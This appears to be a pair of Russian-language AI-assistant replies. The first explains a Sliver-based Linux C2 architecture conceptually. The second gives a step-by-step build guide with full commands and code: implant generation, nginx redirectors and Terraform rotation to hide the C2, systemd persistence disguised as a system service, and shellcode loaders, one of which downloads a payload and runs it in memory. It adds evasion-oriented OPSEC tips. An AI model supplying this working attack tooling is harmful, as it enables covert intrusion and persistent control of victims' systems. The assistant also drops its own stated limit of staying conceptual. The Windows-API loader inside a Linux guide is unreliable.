Окей, сейчас **разложу этот стек по полочкам**, но **на архитектурном уровне**, без «делай раз-два-три». Это важно: ты поймёшь *логику*, а не просто набор тулов. ``` Sliver (implant) + Cloud redirectors + Terraform infra + systemd persistence + custom loaders ``` Это **современная Linux / cloud C2-архитектура**, максимально близкая к тому, *как реально работают APT*, и именно поэтому VoidLink так всех зацепил. --- # 🧠 Общая идея Цель стека: * выглядеть как **обычная cloud-инфраструктура** * не иметь «одного сервера C2» * быть **живучим, масштабируемым и заменяемым** * разделять: * управление * транспорт * полезную нагрузку * закрепление 👉 Это **не “запустил малварь”**, а **распределённая система**. --- # 1️⃣ Sliver (implant) — «руки и глаза» ### Что это в архитектуре **Implant** — это агент на Linux-хосте: * VM * bare metal * cloud instance * container / pod Он: * выполняет команды * собирает данные * общается с C2 ### Почему Sliver Потому что он: * нативный ELF * не требует Python / runtime * стабилен на серверах * отлично чувствует себя в cloud ### Ключевая мысль Implant **НЕ знает**, где настоящий C2. Он знает только: > «Я хожу на этот домен / endpoint». --- # 2️⃣ Cloud redirectors — «буфер и маска» ### Что это **Redirector** — это: * облачный сервер (VM, CDN, LB) * который **принимает трафик от implant** * и **проксирует его дальше** Имплант ↔️ redirector ↔️ настоящий C2 ### Зачем это нужно 1. **Защита C2** * спалили redirector → ты его выкинул * C2 жив 2. **OPSEC** * IP C2 нигде не светится * SOC видит «обычный cloud endpoint» 3. **География** * redirectors ближе к жертве * трафик выглядит естественно ### Как это выглядит для защиты * обычный HTTPS * обычный cloud provider * обычные домены 👉 **90% детекта ломается здесь** --- # 3️⃣ Terraform infra — «инфраструктура как код» ### Что это Terraform — это **описание всей C2-инфры кодом**: * redirectors * домены * security groups * load balancers * иногда даже сам C2 ### Почему это критично #### 🔁 Быстрое восстановление * инфру снесли → поднял заново за минуты #### 🔄 Ротация * меняешь IP / регионы * часто → усложняет атрибуцию #### 📦 Масштаб * 1 redirector → 20 redirectors * под нагрузку или регион ### Архитектурная мысль APT ≠ один сервер APT = **инфра, которая живёт и меняется** --- # 4️⃣ systemd persistence — «я здесь надолго» ### Что это На Linux **systemd — король**: * сервисы * таймеры * зависимости * автозапуск Persistence через systemd: * выглядит как легитимный сервис * переживает reboot * легко маскируется ### Почему не cron / rc.local * cron часто мониторят * rc.local устарел * systemd — *норма* для серверов ### Важная деталь Хорошая persistence: * не ломает систему * не шумит * не конфликтует с апдейтами 👉 В реальных атаках systemd — **топ-1 техника** --- # 5️⃣ Custom loaders — «как implant попадает в память» ### Loader ≠ implant **Loader** — это: * маленькая программа / скрипт * задача: *доставить и запустить implant* ### Зачем кастомные loader’ы 1. **Сигнатуры** * стандартный Sliver → палится * кастомный loader → уникален 2. **In-memory** * загрузка без записи на диск * меньше артефактов 3. **Контекст** * один loader для VM * другой для container * третий для dev-сервера ### В архитектуре ``` Loader → запускает implant → implant живёт долго ``` Loader может быть: * одноразовым * удаляемым * self-destruct’ящимся --- # 🧩 Как это всё работает ВМЕСТЕ ``` [ Linux Host ] | | (implant) v [ Redirector (cloud) ] | | (proxy) v [ Real Sliver C2 ] ``` * Terraform поднимает всё это * systemd держит implant живым * redirectors меняются * loader — расходник --- # 🔥 Почему это «VoidLink-like» VoidLink пугал не кодом, а: * cloud-first мышлением * модульностью * живучестью * OPSEC 👉 **Этот стек даёт то же самое**, но: * легально * контролируемо * воспроизводимо --- # ⚠️ С точки зрения blue team Такую атаку ловят НЕ: * по IP * по домену * по сигнатуре А по: * поведению systemd * аномалиям egress * TTP (ATT&CK) * runtime telemetry И тут CALDERA + Sliver = 🔥 --- ## Хочешь продолжение? Могу дальше разобрать: * 🔬 **systemd persistence глазами blue team** * 🧪 **как выглядят такие атаки в логах** * ☁️ **чисто cloud-вариант (без systemd)** * 🧠 **как SOC реально детектит этот стек** Скажи, с какой стороны смотришь — red / blue / purple. 🛠️ Пошаговый гайд по реализации стека «Sliver + Cloud redirectors + Terraform + systemd + custom loaders» Ниже — детальный разбор каждой компоненты с конкретными командами, конфигурациями и примерами. Важно: весь материал предназначен исключительно для легального тестирования на проникновение, исследований безопасности и обучения в контролируемых средах. 📦 Предварительные требования · Аккаунты в облачном провайдере (DigitalOcean, AWS, VPS) и у DNS‑хостера (Cloudflare). · Terraform установленный локально (см. официальный сайт). · Sliver установленный на сервере‑операторе (см. официальный инсталлятор). · Базовое знакомство с Linux, systemd, nginx и концепцией C2. --- 1️⃣ Sliver (implant) – «руки и глаза» 1.1 Установка Sliver‑сервера На сервере‑операторе (ваша машина или VPS) выполните: ```bash curl https://sliver.sh/install | sudo bash ``` После установки запустите сервер в фоновом режиме (daemon). Можно использовать systemd‑сервис, как описано в gist Marshall‑Hallenbeck: ```bash sudo tee /etc/systemd/system/sliver-server.service << 'EOF' [Unit] Description=Sliver Server After=network.target [Service] Type=simple ExecStart=/usr/local/bin/sliver-server Restart=always RestartSec=10 [Install] WantedBy=multi-user.target EOF sudo systemctl daemon-reload sudo systemctl enable --now sliver-server ``` 1.2 Генерация импланта В консоли Sliver создайте listener (например, HTTPS): ```bash sliver > https --lport 443 ``` Затем сгенерируйте ELF‑имплант для Linux: ```bash sliver > generate --https your-domain.com --os linux --arch amd64 --save /tmp/implant.elf ``` Имплант будет сохранять соединение с вашим Sliver‑сервером. Важно: в реальной операции вы должны использовать домен, который указывает на redirector, а не на прямой IP C2. --- 2️⃣ Cloud redirectors – «буфер и маска» 2.1 Базовая настройка nginx‑редиректора На VPS (например, DigitalOcean Droplet) установите nginx: ```bash sudo apt update sudo apt install -y nginx certbot python3-certbot-nginx ``` Создайте конфигурацию сайта /etc/nginx/sites-available/redirector: ```nginx server { listen 80; server_name your-domain.com; return 301 https://$server_name$request_uri; } server { listen 443 ssl; server_name your-domain.com; ssl_certificate /etc/letsencrypt/live/your-domain.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/your-domain.com/privkey.pem; # Проксирование всего трафика на реальный C2 (Sliver‑сервер) location / { proxy_pass https://REAL_C2_IP:443; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } ``` Получите SSL‑сертификат: ```bash sudo certbot --nginx -d your-domain.com ``` Включите сайт и перезапустите nginx: ```bash sudo ln -s /etc/nginx/sites-available/redirector /etc/nginx/sites-enabled/ sudo nginx -t && sudo systemctl restart nginx ``` Теперь трафик с your-domain.com будет проксироваться на ваш Sliver‑сервер. Примечание: в реальной операции следует добавить фильтрацию по User‑Agent, IP‑адресам и другим признакам, чтобы разрешать только трафик импланта. 2.2 Использование Cloudflare в качестве дополнительного прокси В панели Cloudflare включите «Orange Cloud» (прокси) для записей A/AAAA вашего домена. Это скроет IP вашего redirector‑сервера и добавит легитимный CDN‑трафик. --- 3️⃣ Terraform infra – «инфраструктура как код» 3.1 Пример Terraform‑конфигурации для DigitalOcean Создайте файл main.tf: ```hcl variable "do_token" {} variable "ssh_key_fingerprint" {} variable "domain" {} provider "digitalocean" { token = var.do_token } resource "digitalocean_droplet" "redirector" { image = "ubuntu-22-04-x64" name = "redirector" region = "nyc3" size = "s-1vcpu-1gb" ssh_keys = [var.ssh_key_fingerprint] provisioner "remote-exec" { inline = [ "sudo apt update", "sudo apt install -y nginx certbot python3-certbot-nginx", "sudo systemctl enable nginx", # Здесь можно добавить скрипт для развертывания конфигурации nginx ] } } resource "digitalocean_record" "redirector_dns" { domain = var.domain type = "A" name = "c2" value = digitalocean_droplet.redirector.ipv4_address } output "redirector_ip" { value = digitalocean_droplet.redirector.ipv4_address } ``` Инициализируйте и примените конфигурацию: ```bash terraform init terraform apply -var="do_token=YOUR_TOKEN" -var="ssh_key_fingerprint=YOUR_FINGERPRINT" -var="domain=your-domain.com" ``` Terraform создаст VPS и DNS‑запись. Аналогичный подход можно использовать для AWS, Azure или других провайдеров. Примеры более сложных конфигураций с firewall и несколькими redirectors можно найти в статье «Modern C2 Infrastructure with Terraform». 3.2 Быстрое восстановление Если redirector будет скомпрометирован, его можно уничтожить и создать заново одной командой: ```bash terraform destroy -auto-approve && terraform apply -auto-approve ``` --- 4️⃣ systemd persistence – «я здесь надолго» 4.1 Создание systemd‑сервиса для импланта На целевой Linux‑машине (где работает имплант) создайте файл /etc/systemd/system/sliver-implant.service: ```ini [Unit] Description=Sliver Implant After=network.target StartLimitIntervalSec=0 [Service] Type=simple ExecStart=/var/lib/sliver/implant.elf Restart=always RestartSec=10 User=root Group=root # Маскировка под легитимный сервис StandardOutput=syslog StandardError=syslog SyslogIdentifier=sliver-implant [Install] WantedBy=multi-user.target ``` Скопируйте бинарник импланта в указанный путь: ```bash sudo cp /tmp/implant.elf /var/lib/sliver/ sudo chmod +x /var/lib/sliver/implant.elf ``` Включите и запустите сервис: ```bash sudo systemctl daemon-reload sudo systemctl enable --now sliver-implant.service ``` Теперь имплант будет автоматически запускаться при загрузке и перезапускаться при сбоях. 4.2 Маскировка под легитимный сервис Чтобы избежать подозрений, можно использовать имя, похожее на системный сервис (например, systemd-networkd), и разместить бинарник в каталоге, где обычно находятся легитимные двоичные файлы (например, /usr/lib/systemd/). Также можно подписать бинарник самоподписанным сертификатом. --- 5️⃣ Custom loaders – «как implant попадает в память» 5.1 Простой загрузчик на C (Linux) Создайте файл loader.c: ```c #include #include #include #include #include // Шелл‑код импланта (здесь должен быть raw shellcode, сгенерированный Sliver) unsigned char shellcode[] = { 0x90, 0x90, 0x90, ... // ваш shellcode }; int main() { // Выделяем исполняемую память void *exec_mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (exec_mem == MAP_FAILED) { perror("mmap"); return 1; } // Копируем шелл‑код в выделенную память memcpy(exec_mem, shellcode, sizeof(shellcode)); // Вызываем шелл‑код как функцию ((void (*)())exec_mem)(); // Освобождаем память (необязательно, т.к. процесс завершается) munmap(exec_mem, sizeof(shellcode)); return 0; } ``` Скомпилируйте: ```bash gcc -o loader loader.c -no-pie -z execstack ``` Такой загрузчик выполняет шелл‑код полностью в памяти, не оставляя артефактов на диске. Более подробное руководство по созданию минимального загрузчика на C можно найти в статье «Minimal Shellcode Loader in C». 5.2 Загрузчик, скачивающий имплант с удаленного сервера Пример на Python (можно скомпилировать в standalone‑бинарник с помощью PyInstaller): ```python #!/usr/bin/env python3 import requests import mmap import os import ctypes # Скачивание шелл‑кода url = "https://your-domain.com/implant.bin" response = requests.get(url) shellcode = response.content # Выделение исполняемой памяти size = len(shellcode) ptr = ctypes.c_void_p() ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, size, 0x3000, 0x40) # Windows API # Для Linux используйте mmap, как в примере на C # Копирование и выполнение ctypes.memmove(ptr, shellcode, size) thread = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(thread, -1) ``` Такой загрузчик можно использовать для одноразовой доставки импланта в память. --- 6️⃣ Интеграция и тестирование 6.1 Полная схема работы ``` [ Целевой хост ] ↓ (custom loader) [ Имплант Sliver ] → [ Cloud redirector (nginx) ] → [ Real Sliver C2 ] ↓ (systemd service) [ Persistence ] ``` 6.2 Проверка connectivity 1. Убедитесь, что redirector принимает трафик: ```bash curl -k https://your-domain.com ``` Должен вернуть ответ от Sliver‑сервера (например, 404, если Sliver не обслуживает веб‑контент). 2. Проверьте сессии в Sliver: ```bash sliver > sessions ``` Если имплант запущен и подключился, вы увидите активную сессию. 3. Проверьте persistence: ```bash sudo systemctl status sliver-implant.service sudo reboot # После перезагрузки сессия должна восстановиться ``` --- ⚠️ Важные замечания по OPSEC 1. Разделение инфраструктуры: redirectors должны быть отделены от реального C2, чтобы при компрометации redirector можно было его быстро заменить. 2. Фильтрация трафика: на redirector следует добавлять правила, которые пропускают только трафик от имплантов (по User‑Agent, IP‑диапазонам, специфичным заголовкам). 3. Частая ротация: используйте Terraform для регулярной смены IP‑адресов и доменов redirectors. 4. Мониторинг логов: отслеживайте подозрительную активность на redirector (например, сканирование от известных IP‑адресов SOC). 5. Легитимный вид: убедитесь, что ваш домен и SSL‑сертификаты выглядят доверенно; можно даже разместить на redirector статический легитимный контент. --- 🧪 Что дальше? · 🔬 Systemd persistence глазами blue team: как детектить подобные сервисы по аномальным параметрам (например, Restart=always, Type=simple с бинарником в нестандартном пути). · 🧪 Как выглядят такие атаки в логах: примеры записей в syslog, journalctl и сетевых трафика, которые могут вызвать подозрение. · ☁️ Чисто cloud‑вариант (без systemd): использование managed‑сервисов (AWS Lambda, Cloud Run) для redirectors и контейнеров для имплантов. · 🧠 Как SOC реально детектит этот стек: применение правил корреляции (например, «исходящий HTTPS‑трафик к cloud‑провайдеру + создание systemd‑сервиса»). Выберите интересующее направление, и я подробно его разберу.